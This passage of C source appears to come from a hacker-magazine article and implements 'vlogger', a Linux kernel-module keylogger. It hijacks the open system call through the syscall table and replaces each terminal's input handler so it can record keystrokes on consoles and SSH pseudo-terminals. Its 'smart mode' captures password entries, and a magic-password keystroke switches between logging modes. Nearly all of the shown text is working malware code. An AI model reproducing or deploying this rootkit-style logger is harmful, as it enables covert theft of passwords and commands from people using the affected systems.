968                         DPRINT("USER/CMD %s", tmp->buf);
969                 else
970                         DPRINT("PASS %s", tmp->buf);
971 #endif
972         }
973
974         if (!cont) tmp->buf[--tmp->lastpos] = 0;
975 }
976
977
978 #define resetbuf(t)             \
979 {                               \
980         t->buf[0] = 0;          \
981         t->lastpos = 0;         \
982 }
983
984 #define append_c(t, s, n)       \
985 {                               \
986         t->lastpos += n;        \
987         strncat(t->buf, s, n);  \
988 }
989
990 static inline void reset_all_buf(void)
991 {
992         int i = 0;
993         for (i=0; i<MAX_TTY_CON + MAX_PTS_CON; i++)
994                 if (ttys[i] != NULL)
995                         resetbuf(ttys[i]);
996 }
997
998 void special_key(struct tlogger *tmp, const unsigned char *cp, int count)
999 {
1000         switch(count) {
1001             case 2:
1002                 switch(cp[1]) {
1003                         case '\'':
1004                                 append_c(tmp, "[ALT-\']", 7);
1005                                 break;
1006                         case ',':
1007                                 append_c(tmp, "[ALT-,]", 7);
1008                                 break;
1009                         case '-':
1010                                 append_c(tmp, "[ALT--]", 7);
1011                                 break;
1012                         case '.':
1013                                 append_c(tmp, "[ALT-.]", 7);
1014                                 break;
1015                         case '/':
1016                                 append_c(tmp, "[ALT-/]", 7);
1017                                 break;
1018                         case '0':
1019                                 append_c(tmp, "[ALT-0]", 7);
1020                                 break;
1021                         case '1':
1022                                 append_c(tmp, "[ALT-1]", 7);
1023                                 break;
1024                         case '2':
1025                                 append_c(tmp, "[ALT-2]", 7);
1026                                 break;
1027                         case '3':
1028                                 append_c(tmp, "[ALT-3]", 7);
1029                                 break;
1030                         case '4':
1031                                 append_c(tmp, "[ALT-4]", 7);
1032                                 break;
1033                         case '5':
1034                                 append_c(tmp, "[ALT-5]", 7);
1035                                 break;
1036                         case '6':
1037                                 append_c(tmp, "[ALT-6]", 7);
1038                                 break;
1039                         case '7':
1040                                 append_c(tmp, "[ALT-7]", 7);
1041                                 break;
1042                         case '8':
1043                                 append_c(tmp, "[ALT-8]", 7);
1044                                 break;
1045                         case '9':
1046                                 append_c(tmp, "[ALT-9]", 7);
1047                                 break;
1048                         case ';':
1049                                 append_c(tmp, "[ALT-;]", 7);
1050                                 break;
1051                         case '=':
1052                                 append_c(tmp, "[ALT-=]", 7);
1053                                 break;
1054                         case '[':
1055                                 append_c(tmp, "[ALT-[]", 7);
1056                                 break;
1057                         case '\\':
1058                                 append_c(tmp, "[ALT-\\]", 7);
1059                                 break;
1060                         case ']':
1061                                 append_c(tmp, "[ALT-]]", 7);
1062                                 break;
1063                         case '`':
1064                                 append_c(tmp, "[ALT-`]", 7);
1065                                 break;
1066                         case 'a':
1067                                 append_c(tmp, "[ALT-A]", 7);
1068                                 break;
1069                         case 'b':
1070                                 append_c(tmp, "[ALT-B]", 7);
1071                                 break;
1072                         case 'c':
1073                                 append_c(tmp, "[ALT-C]", 7);
1074                                 break;
1075                         case 'd':
1076                                 append_c(tmp, "[ALT-D]", 7);
1077                                 break;
1078                         case 'e':
1079                                 append_c(tmp, "[ALT-E]", 7);
1080                                 break;
1081                         case 'f':
1082                                 append_c(tmp, "[ALT-F]", 7);
1083                                 break;
1084                         case 'g':
1085                                 append_c(tmp, "[ALT-G]", 7);
1086                                 break;
1087                         case 'h':
1088                                 append_c(tmp, "[ALT-H]", 7);
1089                                 break;
1090                         case 'i':
1091                                 append_c(tmp, "[ALT-I]", 7);
1092                                 break;
1093                         case 'j':
1094                                 append_c(tmp, "[ALT-J]", 7);
1095                                 break;
1096                         case 'k':
1097                                 append_c(tmp, "[ALT-K]", 7);
1098                                 break;
1099                         case 'l':
1100                                 append_c(tmp, "[ALT-L]", 7);
1101                                 break;
1102                         case 'm':
1103                                 append_c(tmp, "[ALT-M]", 7);
1104                                 break;
1105                         case 'n':
1106                                 append_c(tmp, "[ALT-N]", 7);
1107                                 break;
1108                         case 'o':
1109                                 append_c(tmp, "[ALT-O]", 7);
1110                                 break;
1111                         case 'p':
1112                                 append_c(tmp, "[ALT-P]", 7);
1113                                 break;
1114                         case 'q':
1115                                 append_c(tmp, "[ALT-Q]", 7);
1116                                 break;
1117                         case 'r':
1118                                 append_c(tmp, "[ALT-R]", 7);
1119                                 break;
1120                         case 's':
1121                                 append_c(tmp, "[ALT-S]", 7);
1122                                 break;
1123                         case 't':
1124                                 append_c(tmp, "[ALT-T]", 7);
1125                                 break;
1126                         case 'u':
1127                                 append_c(tmp, "[ALT-U]", 7);
1128                                 break;
1129                         case 'v':
1130                                 append_c(tmp, "[ALT-V]", 7);
1131                                 break;
1132                         case 'x':
1133                                 append_c(tmp, "[ALT-X]", 7);
1134                                 break;
1135                         case 'y':
1136                                 append_c(tmp, "[ALT-Y]", 7);
1137                                 break;
1138                         case 'z':
1139                                 append_c(tmp, "[ALT-Z]", 7);
1140                                 break;
1141                 }
1142                 break;
1143             case 3:
1144                 switch(cp[2]) {
1145                         case 68:
1146                                 // Left: 27 91 68
1147                                 append_c(tmp, "[LEFT]", 6);
1148                                 break;
1149                         case 67:
1150                                 // Right: 27 91 67
1151                                 append_c(tmp, "[RIGHT]", 7);
1152                                 break;
1153                         case 65:
1154                                 // Up: 27 91 65
1155                                 append_c(tmp, "[UP]", 4);
1156                                 break;
1157                         case 66:
1158                                 // Down: 27 91 66
1159                                 append_c(tmp, "[DOWN]", 6);
1160                                 break;
1161                         case 80:
1162                                 // Pause/Break: 27 91 80 
1163                                 append_c(tmp, "[BREAK]", 7);
1164                                 break;
1165                 }
1166                 break;
1167             case 4:
1168                 switch(cp[3]) {
1169                         case 65:
1170                                 // F1: 27 91 91 65
1171                                 append_c(tmp, "[F1]", 4);
1172                                 break;
1173                         case 66:
1174                                 // F2: 27 91 91 66
1175                                 append_c(tmp, "[F2]", 4);
1176                                 break;
1177                         case 67:
1178                                 // F3: 27 91 91 67
1179                                 append_c(tmp, "[F3]", 4);
1180                                 break;
1181                         case 68:
1182                                 // F4: 27 91 91 68
1183                                 append_c(tmp, "[F4]", 4);
1184                                 break;
1185                         case 69:
1186                                 // F5: 27 91 91 69
1187                                 append_c(tmp, "[F5]", 4);
1188                                 break;
1189                         case 126:
1190                                 switch(cp[2]) {
1191                                         case 53:
1192                                                 // PgUp: 27 91 53 126
1193                                                 append_c(tmp, "[PgUP]", 6);
1194                                                 break;
1195                                         case 54:
1196                                                 // PgDown: 27 91 54 126
1197                                                 append_c(tmp, 
1198                                                         "[PgDOWN]", 8);
1199                                                 break;
1200                                         case 49:
1201                                                 // Home: 27 91 49 126
1202                                                 append_c(tmp, "[HOME]", 6);
1203                                                 break;
1204                                         case 52:
1205                                                 // End: 27 91 52 126
1206                                                 append_c(tmp, "[END]", 5);
1207                                                 break;
1208                                         case 50:
1209                                                 // Insert: 27 91 50 126
1210                                                 append_c(tmp, "[INS]", 5);
1211                                                 break;
1212                                         case 51:
1213                                                 // Delete: 27 91 51 126
1214                                                 append_c(tmp, "[DEL]", 5);
1215                                                 break;
1216                                 }
1217                         break;
1218                 }
1219                 break;
1220             case 5:
1221                 if(cp[2] == 50)
1222                         switch(cp[3]) {
1223                                 case 48:
1224                                         // F9: 27 91 50 48 126
1225                                         append_c(tmp, "[F9]", 4);
1226                                         break;
1227                                 case 49:
1228                                         // F10: 27 91 50 49 126
1229                                         append_c(tmp, "[F10]", 5);
1230                                         break;
1231                                 case 51:
1232                                         // F11: 27 91 50 51 126
1233                                         append_c(tmp, "[F11]", 5);
1234                                         break;
1235                                 case 52:
1236                                         // F12: 27 91 50 52 126
1237                                         append_c(tmp, "[F12]", 5);
1238                                         break;
1239                                 case 53:
1240                                         // Shift-F1: 27 91 50 53 126
1241                                         append_c(tmp, "[SH-F1]", 7);
1242                                         break;
1243                                 case 54:
1244                                         // Shift-F2: 27 91 50 54 126
1245                                         append_c(tmp, "[SH-F2]", 7);
1246                                         break;
1247                                 case 56:
1248                                         // Shift-F3: 27 91 50 56 126
1249                                         append_c(tmp, "[SH-F3]", 7);
1250                                         break;
1251                                 case 57:
1252                                         // Shift-F4: 27 91 50 57 126
1253                                         append_c(tmp, "[SH-F4]", 7);
1254                                         break;
1255                         }
1256                 else
1257                         switch(cp[3]) {
1258                                 case 55:
1259                                         // F6: 27 91 49 55 126
1260                                         append_c(tmp, "[F6]", 4);
1261                                         break;
1262                                 case 56:
1263                                         // F7: 27 91 49 56 126
1264                                         append_c(tmp, "[F7]", 4);
1265                                         break;
1266                                 case 57:
1267                                         // F8: 27 91 49 57 126
1268                                         append_c(tmp, "[F8]", 4);
1269                                         break;
1270                                 case 49:
1271                                         // Shift-F5: 27 91 51 49 126
1272                                         append_c(tmp, "[SH-F5]", 7);
1273                                         break;
1274                                 case 50:
1275                                         // Shift-F6: 27 91 51 50 126
1276                                         append_c(tmp, "[SH-F6]", 7);
1277                                         break;
1278                                 case 51:
1279                                         // Shift-F7: 27 91 51 51 126
1280                                         append_c(tmp, "[SH-F7]", 7);
1281                                         break;
1282                                 case 52:
1283                                         // Shift-F8: 27 91 51 52 126
1284                                         append_c(tmp, "[SH-F8]", 7);
1285                                         break;
1286                         };
1287                 break;
1288             default:    // Unknow
1289                 break;
1290     }
1291 }
1292
1293
1294 /* 
1295  *  Called whenever user press a key
1296  */
1297
1298 void vlogger_process(struct tty_struct *tty, 
1299                         const unsigned char *cp, int count)
1300 {
1301         struct tlogger *tmp = ttys[TTY_INDEX(tty)];
1302
1303         if (!tmp) {
1304                 DPRINT("erm .. unknow error???\n");
1305                 init_tty(tty, TTY_INDEX(tty));
1306                 tmp = ttys[TTY_INDEX(tty)];
1307                 if (!tmp)
1308                         return;
1309         }
1310
1311         if (vlogger_mode == VK_SMARTMODE) {
1312                 if (tmp->status && !IS_PASSWD(tty)) {
1313                         resetbuf(tmp);
1314                 }               
1315                 if (!tmp->pass && IS_PASSWD(tty)) {
1316                         logging(tty, tmp, 0);
1317                         resetbuf(tmp);
1318                 }
1319                 if (tmp->pass && !IS_PASSWD(tty)) { 
1320                         if (!tmp->lastpos)
1321                                 logging(tty, tmp, 0);
1322                         resetbuf(tmp);
1323                 }
1324                 tmp->pass  = IS_PASSWD(tty);
1325                 tmp->status = 0;
1326         }
1327
1328         if ((count + tmp->lastpos) > MAX_BUFFER - 1) {  
1329                 logging(tty, tmp, 1);
1330                 resetbuf(tmp);
1331         } 
1332
1333         if (count == 1) {
1334                 if (cp[0] == VK_TOGLE_CHAR) {
1335                         if (!strcmp(tmp->buf, MAGIC_PASS)) {
1336                                 if(vlogger_mode < 2)
1337                                         vlogger_mode++;
1338                                 else
1339                                         vlogger_mode = 0;
1340                                 reset_all_buf();
1341
1342                                 switch(vlogger_mode) {
1343                                         case VK_DUMBMODE:
1344                                                 DPRINT("Dumb Mode\n");
1345                                                 TTY_WRITE(tty, "\r\n"
1346                                                 "Dumb Mode\n", 12);
1347                                                 break;
1348                                         case VK_SMARTMODE:
1349                                                 DPRINT("Smart Mode\n");
1350                                                 TTY_WRITE(tty, "\r\n"
1351                                                 "Smart Mode\n", 13);
1352                                                 break;
1353                                         case VK_NORMAL:
1354                                                 DPRINT("Normal Mode\n");
1355                                                 TTY_WRITE(tty, "\r\n"
1356                                                 "Normal Mode\n", 14);
1357                                 }
1358                         }
1359                 }
1360
1361                 switch (cp[0]) {
1362                         case 0x01:      //^A
1363                                 append_c(tmp, "[^A]", 4);
1364                                 break;
1365                         case 0x02:      //^B
1366                                 append_c(tmp, "[^B]", 4);
1367                                 break;
1368                         case 0x03:      //^C
1369                                 append_c(tmp, "[^C]", 4);
1370                         case 0x04:      //^D
1371                                 append_c(tmp, "[^D]", 4);
1372                         case 0x0D:      //^M
1373                         case 0x0A:
1374                                 if (vlogger_mode == VK_SMARTMODE) {
1375                                         if (IS_PASSWD(tty)) {
1376                                                 logging(tty, tmp, 0);
1377                                                 resetbuf(tmp);
1378                                         } else
1379                                                 tmp->status = 1;
1380                                 } else {
1381                                         logging(tty, tmp, 0);
1382                                         resetbuf(tmp);
1383                                 }
1384                                 break;
1385                         case 0x05:      //^E
1386                                 append_c(tmp, "[^E]", 4);
1387                                 break;
1388                         case 0x06:      //^F
1389                                 append_c(tmp, "[^F]", 4);
1390                                 break;
1391                         case 0x07:      //^G
1392                                 append_c(tmp, "[^G]", 4);
1393                                 break;
1394                         case 0x09:      //TAB - ^I
1395                                 append_c(tmp, "[TAB]", 5);
1396                                 break;
1397                         case 0x0b:      //^K
1398                                 append_c(tmp, "[^K]", 4);
1399                                 break;
1400                         case 0x0c:      //^L
1401                                 append_c(tmp, "[^L]", 4);
1402                                 break;
1403                         case 0x0e:      //^E
1404                                 append_c(tmp, "[^E]", 4);
1405                                 break;
1406                         case 0x0f:      //^O
1407                                 append_c(tmp, "[^O]", 4);
1408                                 break;
1409                         case 0x10:      //^P
1410                                 append_c(tmp, "[^P]", 4);
1411                                 break;
1412                         case 0x11:      //^Q
1413                                 append_c(tmp, "[^Q]", 4);
1414                                 break;
1415                         case 0x12:      //^R
1416                                 append_c(tmp, "[^R]", 4);
1417                                 break;
1418                         case 0x13:      //^S
1419                                 append_c(tmp, "[^S]", 4);
1420                                 break;
1421                         case 0x14:      //^T
1422                                 append_c(tmp, "[^T]", 4);
1423                                 break;
1424                         case 0x15:      //CTRL-U
1425                                 resetbuf(tmp);
1426                                 break;                          
1427                         case 0x16:      //^V
1428                                 append_c(tmp, "[^V]", 4);
1429                                 break;
1430                         case 0x17:      //^W
1431                                 append_c(tmp, "[^W]", 4);
1432                                 break;
1433                         case 0x18:      //^X
1434                                 append_c(tmp, "[^X]", 4);
1435                                 break;
1436                         case 0x19:      //^Y
1437                                 append_c(tmp, "[^Y]", 4);
1438                                 break;
1439                         case 0x1a:      //^Z
1440                                 append_c(tmp, "[^Z]", 4);
1441                                 break;
1442                         case 0x1c:      //^\
1443                                 append_c(tmp, "[^\\]", 4);
1444                                 break;
1445                         case 0x1d:      //^]
1446                                 append_c(tmp, "[^]]", 4);
1447                                 break;
1448                         case 0x1e:      //^^
1449                                 append_c(tmp, "[^^]", 4);
1450                                 break;
1451                         case 0x1f:      //^_
1452                                 append_c(tmp, "[^_]", 4);
1453                                 break;
1454                         case BACK_SPACE_CHAR1:
1455                         case BACK_SPACE_CHAR2:
1456                                 if (!tmp->lastpos) break;
1457                                 if (tmp->buf[tmp->lastpos-1] != ']')
1458                                         tmp->buf[--tmp->lastpos] = 0;
1459                                 else {
1460                                         append_c(tmp, "[^H]", 4);
1461                                 }
1462                                 break;
1463                         case ESC_CHAR:  //ESC
1464                                 append_c(tmp, "[ESC]", 5);
1465                                 break;
1466                         default:
1467                                 tmp->buf[tmp->lastpos++] = cp[0];
1468                                 tmp->buf[tmp->lastpos] = 0;
1469                 }
1470         } else {        // a block of chars or special key
1471                 if (cp[0] != ESC_CHAR) {
1472                         while (count >= MAX_BUFFER) {
1473                                 append_c(tmp, cp, MAX_BUFFER);
1474                                 logging(tty, tmp, 1);
1475                                 resetbuf(tmp);
1476                                 count -= MAX_BUFFER;
1477                                 cp += MAX_BUFFER;
1478                         }
1479
1480                         append_c(tmp, cp, count);
1481                 } else  // special key
1482                         special_key(tmp, cp, count);
1483         }
1484 }
1485
1486
1487 void my_tty_open(void) 
1488 {
1489         int fd, i;
1490         char dev_name[80];
1491
1492 #ifdef LOCAL_ONLY
1493         int fl = 0;
1494         struct tty_struct * tty;
1495         struct file * file;
1496 #endif
1497
1498         for (i=1; i<MAX_TTY_CON; i++) {
1499                 snprintf(dev_name, sizeof(dev_name)-1, "/dev/tty%d", i);
1500
1501                 BEGIN_KMEM
1502                         fd = open(dev_name, O_RDONLY, 0);
1503                         if (fd < 0) continue;
1504
1505 #ifdef LOCAL_ONLY
1506                         file = fget(fd);
1507                         tty = file->private_data;
1508                         if (tty != NULL  && 
1509                                 tty->ldisc.receive_buf != NULL) {
1510                                 if (!fl) {
1511                                         old_receive_buf = 
1512                                                 tty->ldisc.receive_buf;
1513                                         fl = 1;
1514                                 }
1515                                 init_tty(tty, TTY_INDEX(tty));
1516                         }
1517                         fput(file);
1518 #endif
1519
1520                         close(fd);
1521                 END_KMEM
1522         }
1523
1524 #ifndef LOCAL_ONLY
1525         for (i=0; i<MAX_PTS_CON; i++) {
1526                 snprintf(dev_name, sizeof(dev_name)-1, "/dev/pts/%d", i);
1527
1528                 BEGIN_KMEM
1529                         fd = open(dev_name, O_RDONLY, 0);
1530                         if (fd >= 0) close(fd);
1531                 END_KMEM
1532         }
1533 #endif
1534
1535 }
1536
1537
1538 void new_receive_buf(struct tty_struct *tty, const unsigned char *cp,
1539                                                 char *fp, int count)
1540 {
1541         if (!tty->real_raw && !tty->raw)        // ignore raw mode
1542                 vlogger_process(tty, cp, count);
1543         (*old_receive_buf)(tty, cp, fp, count);
1544 }
1545
1546
1547 static inline void init_tty(struct tty_struct *tty, int tty_index)
1548 {
1549         struct tlogger *tmp;
1550
1551         DPRINT("Init logging for %s%d\n", TTY_NAME(tty), TTY_NUMBER(tty));
1552
1553         if (ttys[tty_index] == NULL) {
1554                 tmp = kmalloc(sizeof(struct tlogger), GFP_KERNEL);
1555                 if (!tmp) {
1556                         DPRINT("kmalloc failed!\n");
1557                         return;
1558                 }
1559                 memset(tmp, 0, sizeof(struct tlogger));
1560                 tmp->tty = tty;
1561                 tty->ldisc.receive_buf = new_receive_buf;
1562                 ttys[tty_index] = tmp;
1563         } else {
1564                 tmp = ttys[tty_index];
1565                 logging(tty, tmp, 1);
1566                 resetbuf(tmp);
1567                 tty->ldisc.receive_buf = new_receive_buf;
1568         }
1569 }
1570
1571
1572 asmlinkage int new_sys_open(const char *filename, int flags, int mode)
1573 {
1574         int ret;
1575         static int fl = 0;
1576         struct file * file;
1577         
1578         ret = (*original_sys_open)(filename, flags, mode);
1579         
1580         if (ret >= 0) {
1581                 struct tty_struct * tty;
1582
1583             BEGIN_KMEM
1584                 lock_kernel();
1585                 file = fget(ret);
1586                 tty = file->private_data;
1587
1588                 if (tty != NULL && 
1589                         ((tty->driver.type == TTY_DRIVER_TYPE_CONSOLE &&
1590                         TTY_NUMBER(tty) < MAX_TTY_CON - 1 ) ||
1591                         (tty->driver.type == TTY_DRIVER_TYPE_PTY &&
1592                         tty->driver.subtype == PTY_TYPE_SLAVE &&
1593                         TTY_NUMBER(tty) < MAX_PTS_CON)) &&
1594                         tty->ldisc.receive_buf != NULL &&
1595                         tty->ldisc.receive_buf != new_receive_buf) {
1596
1597                         if (!fl) {
1598                                 old_receive_buf = tty->ldisc.receive_buf;
1599                                 fl = 1;
1600                         }
1601                         init_tty(tty, TTY_INDEX(tty));
1602                 }
1603                 fput(file);
1604                 unlock_kernel();
1605             END_KMEM
1606         }
1607         return ret;
1608 }
1609
1610
1611 int init_module(void)
1612 {
1613
1614         DPRINT(MVERSION);
1615 #ifndef LOCAL_ONLY
1616         original_sys_open = sys_call_table[__NR_open];
1617         sys_call_table[__NR_open] = new_sys_open;
1618 #endif
1619         my_tty_open();
1620 //      MOD_INC_USE_COUNT;
1621
1622         return 0;
1623 }
1624
1625 DECLARE_WAIT_QUEUE_HEAD(wq);
1626
1627 void cleanup_module(void)
1628 {
1629         int i;
1630
1631 #ifndef LOCAL_ONLY
1632         sys_call_table[__NR_open] = original_sys_open;
1633 #endif
1634
1635         for (i=0; i<MAX_TTY_CON + MAX_PTS_CON; i++) {
1636                 if (ttys[i] != NULL) {
1637                         ttys[i]->tty->ldisc.receive_buf = old_receive_buf;
1638                 }
1639         }
1640         sleep_on_timeout(&wq, HZ);
1641         for (i=0; i<MAX_TTY_CON + MAX_PTS_CON; i++) {
1642                 if (ttys[i] != NULL) {
1643                         kfree(ttys[i]);
1644                 }
1645         }
1646         DPRINT("Unloaded\n");
1647 }
1648
1649 EXPORT_NO_SYMBOLS;
1650 <-->
1651 |=[ EOF ]=---------------------------------------------------------------=|